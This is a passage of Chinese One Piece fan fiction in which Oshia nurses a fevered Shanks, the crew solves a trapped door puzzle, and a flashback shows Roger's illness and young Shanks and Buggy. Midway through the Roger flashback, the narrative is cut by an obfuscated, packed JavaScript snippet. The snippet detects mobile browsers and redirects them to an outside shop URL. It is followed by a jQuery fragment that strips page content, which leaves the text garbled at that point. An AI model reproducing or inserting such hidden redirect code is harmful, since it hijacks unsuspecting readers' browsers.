香克斯的第一个念头是，鬼面哭起来那个样子也就算了，怎么声音也变得娘们唧唧的?他在船上的时候是这个声音吗？ 第二个念头是，鬼面问他有没有妻子干什么?不结婚的人不配当船长吗？鬼面该不会……哒咩哒咩！他可是直男啊，笔直笔直的，就算对方是他见过的人里最好看的那个也是不行的！ 到第三个念头的时候，香克斯已经彻底偏离了主题……鬼面问我有没有妻子＝问我有没有可能有自己的亲生孩子＝鬼面在侧面打探乌塔是不是我的亲生孩子＝鬼面他那么喜欢小乌塔，如果我说了乌塔不是自己的亲生孩子，那对方就可以光明正大把小乌塔给抢走了啊！！！！ 香克斯觉得自己悟了，他双手搭在奥西娅的肩膀上，一脸严肃：“即便乌塔只是我的养女，那也是我的女儿，是我重要的家人，想带走她，就拿命来换吧。” “……” 奥西娅眨眨眼睛，被泪水打湿成一缕一缕的睫毛纤长，像是振翅欲飞的蝶翼，那句“乌塔只是我的养女”在脑海里循环播放……也就是说，“所以，香克斯你没有结婚、没有妻子、还是单身的，对不对?” 香克斯：? ……难道问题的关键不是乌塔吗? 虽然但是，他真的是个笔直笔直的直男啊……香克斯心中戚戚，老老实实点头：“嗯。” “……哇咔哒。” 对方突然笑了起来，眉眼弯弯，笑意盈盈，像是盛开了满树樱花……香克斯觉得自己好像有点发晕，不，他是真的有点发晕，不然为什么对面的鬼面变成了两个、三个、四个、五个、六…… “香克斯！” 奥西娅眼疾手快地把突然前扑的香克斯揽到怀里，触手一片滚烫。 她也看到了对方挡在背后的伤口……那里的衬衫已经看不出原来的颜色，血污与幽蓝色的腐蚀性液体混杂在一起。 奥西娅想起他们被大鱼吞入口中时撞上过东西……所以，是那个时候伤到的吗?居然，伤得这么重吗? ……亏他还能强忍着下水去帮她捞剑，亏他还能脊背笔挺地站在这里跟她说话。 ……大笨蛋。 香克斯，这个大笨蛋。 11. 第 11 章 (一) 奥西娅从附近翻找出一块干净的木板，让高烧昏迷的香克斯趴在上面，又捡来废弃的木材在旁边点燃起一堆篝火。 火光跳动，香克斯的面容在忽明忽暗的光影里显得极为苍白，眉头紧紧皱着，额角渗出密密麻麻的汗珠，显然十分痛苦。 奥西娅把掌心贴在他的额头上试了下温度，好像更烫了。她叹了一口气，对着篝火加快手里翻动长条状白色棉布的速度，希望能尽快将它烤干。 火光摇曳，美人的剪影被投射在一旁的大石头上，身材玲珑、凹凸有致。如果这个世界打破了次元壁，也流行起《海贼王》官方生命卡资料的话，那人物奥西娅的三围数据就是：胸围98cm、腰围58cm、臀围88cm。 至于自出海以来，为了伪装一直被她裹平的前胸为什么会突然被解放出来……咳咳，那也是没有办法的事情。 大鱼胃液里的那种腐蚀性毒素顺着香克斯背后上的伤口进入到了他的身体里，导致他一直处于高烧不退的昏迷状态，不及时处理的话，无疑会迎来三种结果： 第一，香克斯被毒死了。 第二，香克斯被烧死了。 第三，香克斯被烧傻了。 奥西娅当然不会放着香克斯不管。 不提她本来就对人家居心不良，他们也是交付性命的重要同伴！ 不提她本来就对人家心怀不轨，对方可是她的救命恩人！ 如果当时香克斯没有把她牢牢护在怀里，那现在躺在这里高烧昏迷的还说不准是谁呢。当然，咳咳，居心不良和心怀不轨确实占据了很大一部分原因，傻瓜才会放弃这种英雄救美(?)的大好时机！ 但话又说回来，他们装有干粮、淡水和急救药物的背包早就在水里的时候被冲散了，奥西娅手边现在只有随身携带的200ml小水壶和一个巴掌大小的小小医药包。 医药包里装着应急用的消毒酒精、一小卷纱布、一把手术小刀、用于外敷的抗生消炎药物以及她之前摘下来以后随手塞进药包里的几朵金蕊月见花。 但香克斯背后的伤口实在太大，几乎横贯了整个后背，医药包里的那一小卷纱布根本不够用。而他们身上的外衣布料几乎都被大鱼的胃液所浸透，沾染上了那种腐蚀性毒素。只有她穿在最里面的、用来裹平前胸的白棉布条还算干净。 所以奥西娅手里现在正在烤干的布条就是，咳咳……她不是没有犹豫纠结过，但有些事情在生死面前似乎也没什么需要犹豫纠结的。 奥西娅把白棉布条解开取出来，从小水壶里倒出来一捧干净的清水稀释着小半盖酒精把白棉布条清洗消毒，然后在火堆旁烤干。 等白棉布条彻底干透后，奥西娅起身跪坐到香克斯身边帮他处理伤口。 他背上脏污的衬衫布料已经跟伤口处干涸的血块粘黏在了一起，不能就这么揭开。奥西娅裁了一小块纱布，浸透酒精，轻轻地帮他把那些黑褐色的血痂擦干净以后，才成功把他脏的看不出原来颜色的衬衫从身上扒下来。 将锋利的手术刀伸进火焰里高温消毒，然后一点一点刮掉伤口周围已经被腐蚀烂掉的坏肉。香克斯嘴里泄露出一记闷哼，奥西娅的动作僵硬了一瞬，紧接着又收敛心神，专注于手下的清理工作……她告诫自己，现在可不是心软的时候，但手上的力气却是放的轻了又轻，小心了还要再小心。 半响，伤口上的腐肉和毒液终于都被清理干净，露出颜色鲜红的好肉。奥西娅用干净的纱布蘸着酒精在伤口周围擦拭着消毒，思考了一会儿，她还是选择把月见花和抗生消炎的药物混在一起碾碎敷到香克斯的伤口上面。 正所谓万物相生相克，三步之内必有解药。如果有什么药材的药性可以消解掉大鱼的毒性，那最有可能的就是生长在这附近的月见草。 等奥西娅用白棉布条把敷好药物的伤口包扎裹好，她的额头上也渗出了密密麻麻的汗珠。 注意到香克斯的嘴唇有些干涩起皮，奥西娅用水壶里的清水把干净的纱布浸透，动作轻柔地帮他沾湿唇瓣。 篝火照亮了这一方小小的空间，周围出奇的宁静，只有火星偶尔炸开的声音。 (二) 另一边，贝克曼把他们跑偏的话题拉回来：“现在先想想怎么通过这扇门吧。” 本乡握住金色的门环使劲一拉，“鬼面不是说他老家那边的机关有抽拉式吗?先试试再说！” 话落，金质大门里还真响起了“咔嚓”一声，本乡诧异，这么简单? 不等感慨出口，他却发觉到手里的门环变得越来越烫，本乡当机立断撒手就往水里跑：“要爆炸啦！” “噗通！噗通！！” 一行人浩浩荡荡地跳回水里。也就一、两秒的功夫，金质大象的嘴里猛地喷出九条烈焰滚滚的火龙来，熊熊燃烧的烈火把岛礁表面都燎黑了一层。 火焰喷射结束，四人一猴儿接连从水里冒出头来。 “靠！”斯内克摸着自己头顶的头发，那块的发质已经变得嘎巴脆，散发着阵阵焦香。 本乡凑过去给他检查了一下，医者父母心地在胸前画了个十字架，叹息道：“发根都烧坏了，剃了重新长吧，阿们。” 斯内克：“……剃了?” 那他不成地中海了吗？！！！ 这片大海上但凡对自己有点颜值要求的海贼谁留那玩意儿啊！！！！ 他掐着本乡的脖子来回晃：“混蛋！谁让你手贱去拉门环的！！！” “嗬嗬、嗬……”本乡伸着手，两眼翻白：“空气……Help！” 斯内克停了一下，墨镜反光：“你陪我一起剃！” 本乡：“……” 本乡抬手在自己的发型上比划了两下，讪笑道：“我可以剃个莫西干，正好跟你的地中海互补。” 斯内克：“……” 斯内克收紧手掌继续晃：“互补你大爷啊！混蛋！！” 宾治和猛士达在旁边指指点点，一人一猴说的有来有回。 “吱吱吱！” “别难过了斯内克，虽然你秃了，但是你会变强的！” 斯内克哽住，你跟猛士达一个大光头一个大光/腚也没强到哪里去啊喂！！！ 贝克曼珍惜地把一头湿漉漉的乌黑秀发撩到脑后，“至少证明拉门环是有效果的，现在要做的就是排查出能让大门开启的正确拉力范围。” 本乡从斯内克手里挣扎出来，咳了两声建议道：“那就还跟进来的时候一样，挨个力度的试试?” 贝克曼颔首，“但每个人的力气不一样，不方便划区间尝试，最好还是让一个人全权负责这件事。” 三人一猴十分赞同地点头。 点着点着头，本乡哽住：“喂！你们都看着我干什么?！” 斯内克的拳头攥的“咔嚓”响，狞笑着把他举起来丢回岛礁上，“走着吧您嘞！” “反正你刚才已经试过一个力度了，别浪费，剩下的也都交给你了！我等着你这个混蛋回来跟我一起剃地中海！！” 本乡：！！！！ 头可断血可流剃地中海是绝逼不可能的！！！ 于是，在接下来的时间里，水里的三人一猴围观了本乡在各种机关的攻击下抱头鼠窜的狼狈模样……注意，这个抱头鼠窜是真的“抱头”，本乡他有很努力地在保护自己的头发，防止它不得已走上焦焦、剃剃、秃秃的悲惨命运。 拉动门环后，机关的攻击方式层出不穷——门板上一排排的射出箭矢、锯齿飞速旋转的圆形锯杀气腾腾地从两侧的墙壁里被发射出来、地面的缝隙间同时冒出网格排布的尖刺、头顶变换阵列往下掉着炸弹…… “噼里啪啦！” “稀里哗啦！！” “啊！！！” “吼！！靠！！！” 本乡旋转跳跃、动作灵活地在千变万化的攻击间自由穿梭，再时不时挨上个那么一、两下。 这要换成是普通人被这么三百六十度无死角的围攻，早就不知道被做成第几盘菜了。 但还好遭受此种酷刑的是本乡。 本乡：? 我CAO你#$^&%!$# ??*&%￥&@SB%#！ 在奥西娅上上辈子的那个世界里，剧场版“RED”附赠的“特典”中公布了红发海贼团各位干部的职位及能力。 其中，船医本乡他不仅凭借着丰富的医疗知识和实实在在的技术支撑着香克斯他们的航行，而且他对武器的造诣很深，在战场上可以活用灵巧的指尖瞬间分解、破坏武器，是“分解魔”一样的存在。 现在的本乡跟未来的四皇干部相比还稚嫩的很，但也能在他此次的战斗中初步窥见到未来“分解魔”的影子。 “他大爷的……” 本乡拔掉脑门上的飞镖，伤口瞬间往外“biubiu”呲血，他摸出一个止血贴呼在伤口上，脚下是被他拆的稀巴碎的暗器堆。 他撇嘴装逼道：“这个机关也就这种水平了，多来几次估计那些暗器就放完了。” 三人一猴为他毫不做作的装逼鼓掌。 本乡立刻爆出鲨鱼齿：“少在那边看热闹！你们倒是上来帮忙啊！！混蛋！！！” 等到机关都歇了，贝克曼他们握住门环使劲一拉，居然连带着整个金质象头都一起掰了下来。 贝克曼：“……” 本乡：“……” 斯内克：“……” 宾治：“……” 猛士达：“……” 象头被掰下来后，露出了十二个金质的密码转盘，造型像是早期电话虫上安装的用来拨号的旋转盘。 “靠……”宾治心有余悸道：“吓我一跳，还以为咱们把它掰坏了呢！” 猛士达拍拍自己的胸口，松了一口气，“吱吱！” 本乡摸着下巴：“这就是鬼面提过的解密类机关的一种了吧?” 斯内克有些头疼：“但是一点线索都没给啊，鬼知道应该是哪十二个数字?挨个试一遍，试到全人类灭亡了都试不完！” “不，是有规律的。”贝克曼提醒道：“想想刚才本乡触发机关后的攻击次数。” 斯内克：? 宾治：? 猛士达：? ……机关的攻击有次数吗? 本乡：！！！ 他捂着胸口一脸不可置信：“我被机关攻击的‘欲生欲死’，贝克曼你居然还能分心关注我遭受到的攻击次数?！你没有心的嘛！！！” “……” 贝克曼掩饰地咳了两声，从左到右依次在十二个密码盘上转出了每种机关的攻击次数——999977857785。 (三) 随着时间的推移，香克斯紧皱的眉头已经松开，呼吸也变得绵长起来，是进入熟睡的模样。 奥西娅抬手试探他额头的温度，虽然还是有些烫，但已经明显开始下降了，她提着的心总算是重新落回了肚子里。 篝火橙色的光影在香克斯熟睡的面容上轻晃……不得不说，他长得真是好看，虽然有点胡子拉碴的，但反而让他多了几分有攻击力的野性。 ……等等，他不会就是因为觉得自己长得过于好看没什么气势才留起胡子来的吧? 想到很有可能是这种原因，奥西娅轻声笑了起来。 不过确实呢，相比于以后成为了四皇的香克斯，现在的他无论是在气质上还是外形上都还很青涩，缺了几分以后的沉稳霸气，多了些鲜活的少年气。 但都很好，都是很好的香克斯。 奥西娅正欲把贴在他额头上的手收回来，却被对方一把握住。 奥西娅：? “……香克斯?” 奥西娅以为他醒了，声音放的很轻柔，“你感觉怎么样?身体有哪里不舒服吗?” “……” 无人回应，对方犹自闭着眼睛，刚才多半是他在睡梦里下意识的动作。奥西娅稍微用了点力，想要将手抽出来，却听到他嘴里嘟囔着些什么。 奥西娅一怔，要抽出来的手顿住，俯身凑近去听，“什么？” “……罗杰船长，雷利桑，贾巴桑……巴基……大家，别走。” 香克斯拉着奥西娅的那只手贴到自己的脸颊上，无意识地磨蹭着她的掌心，嘴里不断呢喃，“别走，西卡尔桑，斯宾塞桑，桑贝尔桑，库洛卡斯桑……大家……不要走……” 接下来的一小段时间里，奥西娅从他嘴里前前后后听到了三十四个不同的名字，有她知道的，也有她不知道的……但她大概猜得到，这三十四个人，应该都是曾经的罗杰海贼团的成员。 “曾经的”……这可真是一个充满了某种怀念和悲伤的词。 她突然想起，之前有一次大家在船上喝酒闲聊，香克斯有提到过自己是在一岁左右的时候被罗杰海贼团收养的。 也就是说，从他有记忆开始，就是罗杰他们陪在他身边，他从小在那艘船上长大。奥尔·杰克斯森号对于他来说不只是冒险的航船，也是自小生活的家，船上的大家也不止是船员，还是一直保护教导他长大的家人。 在上上个世界，奥西娅从第一次“看见”他开始，就一直把目光放在他身上。 她看见动漫里，他和巴基幼稚地争论南极和北极哪个更冷；看见他把巴基吓得意外咽下去恶魔果实，然后又跳进海里去捞对方；看见大雨淋漓里，他在罗杰的处刑台下面痛哭流涕；看见他把路飞逗的跳脚，后来为了救对方，被近海之王咬掉手臂…… 她看见他，哪怕断臂处传来剧痛，却依然笑着对路飞说：“一只手而已，小意思，你没事就好。” 看见他抽出格里芬为克比挡下赤犬的攻击，结束顶上战争，带回了艾斯和白胡子的尸体，让他们不至于在死后还要遭受侮辱。 她上上辈子最后一次看见他，是在艾斯和白胡子的葬礼上。他在心底鼓励失去了哥哥后悲痛欲绝的路飞，他说，‘胜利和败北都要品尝，经历了四处逃窜的心酸、痛苦伤心的回忆，男人才能真正独当一面，就算痛哭流涕也没关系，一定要闯过这一关。’ 来到这个世界后，她真实地“看见”了他……战斗中，他双眼清亮如闪电，满身的自信和少年意气；他是随心所欲的，是温柔的，庇护了很多弱小但本性不坏的海贼。 他大多数时候是喜欢热闹的，玩儿起来像个逗比，没有一点船长的架子；但他也有很安静的时候，会一个人望着那片广阔的大海，仿佛跟它融合为了一体，海面下深藏着别人无法窥见的感情。 所以，成为那样强大的香克斯，他品尝过多少次败北？他经历过多少次四处逃窜？他又有了多少深埋在心底、堪称痛苦的回忆? 他会害怕吗?他会痛苦吗？他会流眼泪吗? 听着他嘴里反复念叨的那些名字，这些问题似乎都有了答案。 他肯定很想他们吧。 奥西娅突然鼻子一酸，手轻轻抚摸过他的脸颊，“……香克斯。” (四) “香克斯！撑住！！我来了！！！” 一个红鼻子小鬼从奥尔·杰克斯森号的桅杆上荡下来，手里还挥舞着一根铁质水管，朝着罗杰的后背狠狠打下去。 人虽不大，进攻却挺熟练的，看来没少干偷袭这种事。 罗杰正捏着喝汤用的小汤匙跟香克斯手里的水管比试，见状，他游刃有余地把香克斯手里的水管挑飞，转身去“欺负”另一个小鬼头。 “唉?！！！” 香克斯追着被挑飞的水管去捡，再回头的时候，巴基已经像个小鸡仔似的被罗杰拎在了手里。小鸡仔疯狂挣扎，罗杰则是单手叉腰笑得像个欠揍大反派，气得巴基去扯他那两撮像鼻毛一样的胡子。 “嗷——痛痛痛痛痛！巴基！臭小子！！你讲不讲武德?！！！” 回答罗杰的是巴基更大力道地扯胡子。 他俩的姿势实在有些搞笑，香克斯好难才憋住不笑，挥着水管再次冲上去，“巴基我来救你了！接招吧罗杰船长！！神避！！！” “噗——！” 罗杰笑喷，再次用小汤匙把水管挑飞，正好抽在了巴基的脸上。 “唔！”巴基疼得眼泪都冒出来了，捂着脸上的红印子破口大骂：“混蛋！你们两个大混蛋！！” 罗杰讪讪地把巴基放到甲板上，呲着个大牙道歉：“嗫哈哈哈对不起啦巴基，忘记了你还在我右手上。” 香克斯也凑过来朝他露出一个灿烂的笑容：“果咩果咩~巴基，不要生气啦！” 巴基：！！！！ 又是这种笑容！又是这种笑容！！又是这种笑容！！！ 别说消气，他都快被这两个人给气！死！！了！！！ 巴基暴怒鲨鱼齿：“笑什么笑！你们两个要是想道歉的话就给我态度放诚恳一点啊，混蛋！！” 罗杰摸着后脑勺大笑：“嗫哈哈哈哈不要生气啊巴基！” 香克斯同款摸着后脑勺大笑：“哈哈哈哈不要生气呀巴基！” 巴基：“……” 巴基气得跺着脚“啪嗒啪嗒”地走了，临走前还特意留下了属于七岁小孩的愤怒：“你们两个大混蛋！！！” 罗杰二丈和尚摸不着头脑，低头去看个子才到他大腿高的香克斯：“巴基他怎么就生气了?” 香克斯仰着小脸，无辜摇头：“不知道呀，我们不是已经跟他道过歉了吗?” 旁边，靠在船舷边上喝汤的雷利掀起眼皮扫了他们一眼，“啧”了一声，一个天然黑，一个天然呆，他都懒得搭理他们。 堂堂一个船长欺负小孩，简直没眼看。 罗杰和香克斯一大一小“面面相觑”，过了一会儿香克斯拽拽罗杰的红色外套，睁着大眼睛望向他，眼睛亮晶晶的，像是装着小星星，“呐呐，罗杰船长！刚才我的那一招怎么样?！” “噗~”一提这个罗杰又笑喷了：“嗫哈哈哈哈香克斯，不是跟你说过好几次吗?不会霸气是使不出神避的，八~嘎~哈哈哈哈哈哈！！” 雷利抬手护着自己的汤碗，一脸嫌弃：“喂，罗杰！不是跟你说过很多次不要在吃饭的时候大吵大叫吗？” 混蛋！口水都喷到他碗里来了啊！！ “哈?”罗杰摊手，无赖道：“兄弟你没事儿吧?我们可是海贼啊！那么多规矩能当肉吃吗?当然是想干什么就干什么咯！老子可是最自由的！” 雷利微笑：“想干什么就干什么?很好，那你这个月的零花钱没了。” 罗杰：！！！！ “喂喂喂！我可是船长啊！！你这个家伙太任性了吧?！！！” 雷利姿态优雅地搅拌着碗里的汤，淡淡道：“我也是海贼，我想干什么就干什么。” 罗杰：“……” 嘴角下拉，像只大虾。 香克斯还在一个劲儿地拉他衣摆，满脸的崇拜和期待：“罗杰船长罗杰船长罗杰船长！从今天开始就训练我霸气吧！！” 刚被克扣掉零花钱的悲催船长：“……” 罗杰蹲到他面前，朝他摊开手掌，脸上挂起那种“本大人就要欺负小孩子啦”的可恶笑容，“呆胶布呆胶布，但我总不能白白教你吧?一船之长的时间可是很宝贵的！” “呵。” 旁边擦拭双斧的贾巴听到后笑了：“是指每天躺在甲板上睡大觉吗？” 斯宾塞举手：“或者是‘忙到’没时间听大家说话?” 罗杰老脸一红：“……才不是！” 香克斯眨眨眼睛，脸上的笑容愈发灿烂：“那是指每天去给雷利桑捣乱吗！” 罗杰：“……” 罗杰的拳头有点痒，想打孩子。 他狞笑着把手按在那头漂亮的红色头发上使劲儿搓搓搓搓搓搓搓搓——直到把对方搓成一只炸毛海胆球才作罢，“那种事情等你长大以后有了自己的海贼团就知道了！” 说完，他把手伸到香克斯面前，脸上挂起大大的笑容：“想学霸气是吧?诚惠三千万贝利！” 喝汤的雷利：“……” 擦斧头的贾巴：“……” 看热闹的其他船员：“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097919|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧，跟孩子要钱，可真够有出息的！ 桑贝尔一条鱼人都看不下去了，“罗杰，你要点脸吧！” 罗杰不以为耻反以为荣，反过来对着他们指指点点：“你们这群老光棍懂什么啊?能轻轻松松得到的东西是不会被珍惜的！我这是在教导香克斯做人的道理！！” 一秒…… 两秒…… 三秒…… 这三秒纯粹是大家对罗杰厚脸皮的致敬，然后一起鲨鱼齿暴怒：“你这个混蛋不也是老光棍吗！！！！” 罗杰的眼睛和嘴巴撇向一边，嘟嘟囔囔：“我以后可是会跟心爱的女人结婚的。” 其他人：“呸！！！” 不要脸！！！！ 香克斯却把一个钱袋放在了罗杰手里：“拜托啦，罗杰船长！” 其他人的第一个反应是，“不要惯着罗杰那个臭不要脸的混蛋啊！香克斯你就算不给他钱他也一定会教你的！！” 废话，罗杰的绝招，不教香克斯教鬼啊? 第二个反应是，唉?香克斯那个小鬼不是跟罗杰一样，手里向来存不住钱吗？哪来的三千万贝利? 罗杰掂掂手里的袋子，沉甸甸的，打开一看，里面装着满满的金币，“哇哦！香克斯，没想到你居然有这么多积蓄！！！” 香克斯踮起脚往钱袋里瞅：“嗯?很多吗?” 罗杰：? 他好像明白了什么，笑嘿嘿地朝着香克斯挤眉弄眼。 香克斯也忍不住跟着他一起笑，凑近对方小小声道：“罗杰船长，我怎么说也是海贼啊。” 罗杰忍不住了，把香克斯的后背拍的“啪啪”作响，“嗫哈哈哈哈哈哈！！” 其他人：！！！ 他们下意识摸向自己的钱包钱袋……靠，罗杰那个混蛋一这么笑，他们的钱包就容易被他顺手牵羊！ 雷利嘴里发出一声意味不明的哼笑。 贾巴道出真相：“莫名有一种谁会倒霉的感觉。” …… 深夜，玩闹(划掉)忙碌了一天的小巴基美滋滋地躺回到自己的小床上，半梦半醒间习惯性地去摸藏在枕头下面的钱袋子……钱袋子……钱……嗯? 巴基一个仰卧起坐掀开枕头，那里空！空！如！也！！！！ 他的钱袋子呢?！ 他的五千万贝利呢?！！！！ 下一秒，一个枕头正中对面床上已经熟睡的香克斯，香克斯迷迷瞪瞪醒来：“嗯?” “你这个混蛋！！！！” 巴基一个泰山压顶蹦到香克斯身上，差点把他胃给踩出来！ “噗——！咳、咳咳咳，巴基你干什么?！” “我、干、什、么?！你可真有皮问啊！！混蛋香克斯！！！！” 巴基披散的蓝色短发告别地心引力飘荡在半空，气得只剩下眼白，整只崽像是从大海诡异传说里跑出来索命的恐怖夜叉，他掐着香克斯的脖子使劲儿摇晃：“这！是！我！存！了！多！久！的！金！币！你知道吗?！！！！” “咳、咳咳。”香克斯还敢笑，脸上带着不亚于阳光的灿烂笑容：“咳咳，果咩果咩~别生气嘛巴基，以后有钱了我会还你的！” “还！我?！就！凭！你?！” 巴基泪流满面：“就凭你这种可悲的月！光！族?！！！！” 香克斯瘪嘴：“……我才不是月光族。” 巴基懒得听他狡辩，把两根手指怼到香克斯眼前：“双！倍！还！我！！！！” “嗨嗨嗨。” “嗨你个大头鬼！要是敢不还我就杀了你啊！！！！” “嗨嗨嗨！” …… 香克斯开始跟着罗杰学习霸气，他是个有了目标以后就会很努力很刻苦的小孩。罗杰教的也很起劲儿，每天早上指导香克斯一个小时，晚饭前再指导香克斯一个小时，然后一大一小高高兴兴地去餐厅跟大家一起吃晚饭。 可后来有一天，巴基吃完了晚饭好久那俩人也没来餐厅。 雷利摸摸一个劲儿往小岛上瞅的巴基的小脑袋，上面戴着贾巴买给他的红色毛线小帽，“还在担心香克斯吗？” “哈?！”巴基立马一脸嫌弃：“怎么可能！谁会担心那个混蛋啊！！而且、而且有罗杰船长跟着呢，肯定不会有事的……” 雷利笑了下，又揉了揉他的脑袋，毛线小帽都给人家揉歪了，然后就拎着手里的酒去了瞭望台。 昨天晚上奥尔·杰克斯森号停靠在了一座不知名小岛的附近，今天一大早罗杰就带着香克斯去岛上验收他这段时间训练霸气的成果，结果连晚饭都没回来吃。 巴基洗漱完躺在小床上好久，香克斯才姗姗回到房间，他的眼眶似乎有些红，一看到巴基就从小声呜咽变成了痛哭流涕。 巴基：！！！！ 他被香克斯吓了一大跳，别看香克斯这个混蛋平时一副大大咧咧没脸没皮的样子，但其实是个心里很要强的人，从来不把自己真正的痛苦和脆弱展露在人前，这还是他第一次见到对方哭的这么伤心。 “八、八嘎！”巴基坐在小床上扯着嗓门大喊：“混蛋！你大晚上鬼哭狼嚎地干什么啊！！会吵到大家睡觉的！！！” “果、果咩……呜、呜哇——!巴基！！对不起呜呜呜哇！！！！” 哭什么哭?！不知道的还以为他巴基被敌人噶掉了呢！ 巴基下意识想怼两句，但毕竟是第一次看见香克斯哭得那么惨，他还是本着最后的人道主义耐着性子询问：“发生了什么事?” 虽然他并不认为那种让香克斯都只能哭泣的事情，自己会有办法解决。但这并不妨碍他把事情问出来以后用来嘲笑混蛋香克斯！哈哈哈！！ 但香克斯那个混蛋一点有用的都没说出来，只一个劲儿地说什么“果咩，对不起”。 废话！那个混蛋当然对不起他了！！还没还他那五千万贝利呢！！！ 在一声声“对不起”里，香克斯终于哽咽着说出了几个别的字眼，“偏偏、偏偏……是这个时候……” 什么这个时候? 巴基脸上露出疑惑和吃瓜的双重表情。 “巴基……” 不知道为什么，巴基的心脏开始剧烈跳动起来，他好像隐隐约约感觉到了什么，非常的不安，控制不住拔高音量：“到底发生了什么事情?！混蛋！你倒是赶紧说啊！” “船长他，呜哇，罗杰船长他……” …… 海面上突然刮起一阵大风，把奥尔·杰克斯森号的船帆吹得猎猎作响，两个孩子的房间里爆发出一声高过一声的哭嚎，但甲板上依旧安静的不行，没有一个人出来一探究竟。慢慢的，混杂在风声和孩子们的哭声里，成年海贼们压抑着的咽泣也渐渐响起。 哥尔·D·罗杰，患上了无法被治愈的绝症。 瞭望台上，雷利跟罗杰碰杯，“不用管他们吗？” 罗杰哈哈大笑，“男人只有经历过痛哭流涕才能真正独当一面，没关系的，他们一定可以闯过这关！” “是嘛。” 雷利不再说话，只是接连不断地跟罗杰碰着杯。 他们两个的眼角似乎都有晶莹的水光闪过，但大风刮来的云层遮住了月光，夜色掩盖了一切，谁也注意不到。 …… 香克斯对自己本就严苛的训练在此后更加严格了起来，一次比一次厉害，甚至还会额外加练到深夜。 今天更是榨干了自己的最后一丝体力，连罗杰都看不下去了，强制他好好休息，身体完全恢复了才能继续训练。 香克斯趴在甲板上，累的几乎喘不上气来。 罗杰蹲在他身边，一脸严肃，“香克斯，再怎么样，一口气也吃不成胖子的。” “罗杰船长，我……” “咳咳咳、咳咳……咳……”不等香克斯说些什么，罗杰突然剧烈咳嗽起来。 香克斯紧张地要从地上爬起来。 “没事没事没事。”罗杰赶紧按住他，脸上挂起笑容，“颠倒山的库洛卡斯是个很厉害的医生，咱们这次途径那里就邀请他上船！香克斯你……” 对上小孩那双强忍泪光的眼睛，罗杰张了张嘴巴，突然不知道该说些什么了。 海风从夕阳的方向吹来，两人的发丝轻晃。 说是船上的见习海贼，但其实，他跟香克斯之间更像是父子。 他们从藏宝箱里发现他的时候，他才那么一丁点大，看到一群刚经历完厮杀的海贼也不害怕，反而摆着小手小脚哈哈哈地笑着。 养一个还没学会自理的小孩不是一件容易的事情，尤其是在大海上，而且船上还只有一堆没有任何当爹经验的大老爷们儿。 感恩有万能的雷利！ 有时候，他看着香克斯撒欢儿地在船上上蹿下跳，偶尔也会感慨对方居然活着长大到了现在，他自己都觉得有些不可思议，嗫哈哈哈哈真是顽强的生命力啊！ 虽然有时候会忘记换尿布，虽然有时候会把肉汤跟奶粉搞混，虽然有时候……但他、和船上的大家，还是把香克斯从那么小那么小的一团，一点一点养大到了现在这副模样。 对于“身患绝症”这件事，他自己都觉得非常“不可思议”，更不知道该怎么安慰香克斯……他要是真因为那种原因死掉，嗫哈哈哈哈，也太可笑了吧? “我的身体我自己知道的。”罗杰揉揉他那头漂亮的红发，“不用为我担心，我……我……” 香克斯瘪起嘴，他在等罗杰欲言又止的话，如果还是什么“我没事我很好我不痛”这种会让他生气的假话，他就算打不过罗杰船长也要爬起来狠狠咬对方一口！ 可罗杰“我”了半天，反而大笑起来。 香克斯：? 他抬头看向罗杰，罗杰正好也在看他，眼里有些他现在还看不懂的期待。 然后，他听到了罗杰带着笑意的声音，“我真想看看你长大了会是什么样啊。” 香克斯愣住。 对方把头顶的草帽摘下来扣到他的头上，“一定会过的很自由吧！” 12. 第 12 章 (一) “啪嗒。” 在帽檐的遮挡下，眼泪接二连三地摔在甲板上，“啪”的一下四散开来。 “唉?！！！！” 罗杰脸上的笑容被慌乱取代，他捏着袖子笨手笨脚地给香克斯擦眼泪，“哇啊香、香克斯！你可是男子汉啊！！不许哭！！！” “呜、呜哇哇罗、罗杰船长！呜哇哇哇哇哇哇——！！！” “啊啊啊啊！我错了！我错了还不行吗?！！别哭了！！！” 强大的罗杰船长抱着自己的脑袋左右乱看，完全不知道该怎么办，只能崩溃地召唤万能的副船长：“雷利！雷利！！雷利！！！” 他的声音才刚响起，雷利就从墙壁拐角处窜了出来，后面还跟着贾巴他们一串人，不像是被喊过来的，倒像是一直藏在那里，此时此刻终于等到了出场机会。 贾巴怒气冲冲地指责罗杰：“你真是太过分了！” 罗杰：? “就是！船长你真的太过分了！！” 罗杰一头雾水：“我干什么了就过分?！” “你干了什么你自己不清楚?” 罗杰：“……” “让我们……也就罢了，居然连小孩子都要惹哭！” “过分！” “可恶！” “欠揍！” “人渣！” “呸！！！” 罗杰百口莫辩：“唉?！！我、我我……！！！” 雷利恨铁不成钢地瞄了罗杰一眼，伸手把香克斯提起来，让他跨坐在自己的肩膀上，“别哭了，刚才桑贝尔和巴基从海里抓上来一条很大的鱼，我们去烤鱼?” 香克斯抱住雷利的头，耳边是罗杰和大家吵闹的指责声，眼眶里的泪水愈加翻涌，“呜哇……罗杰船长，雷利桑，贾巴桑，斯宾塞桑，西卡尔桑……大家！” 他们停下动作，一起朝他看来。 小孩红色的发丝被海风吹起，他大声喊着，“其实我、我真的很想你们！” 找到可靠的同伴时会想。 被卡普追杀的时候会想。 抵达曾经跟大家去过的岛屿时会想。 被蒂奇划伤左眼的时候会想。 捡到乌塔的时候会想。 看到大海的时候也会想。 没有刻意去想，但就像身体会呼吸空气那样，不用特意去想，那些记忆就像放电影一样在脑海的某个角落里轮番上映。 “……” “……” “……” 甲板上爆发出大家的笑声，“香克斯果然还是个小鬼啊嗫哈哈哈哈哈哈！” “香克斯，独当一面的男子汉可是不会哭鼻子的。” “做海贼最重要的就是要开心啊，所以别哭哭啼啼的，打起精神来吧，香克斯！” “哈哈哈哈哈鼻涕都流出来啦，香克斯！” “喂，别哭了，香克斯！” “哈哈哈哈哈香克斯！” 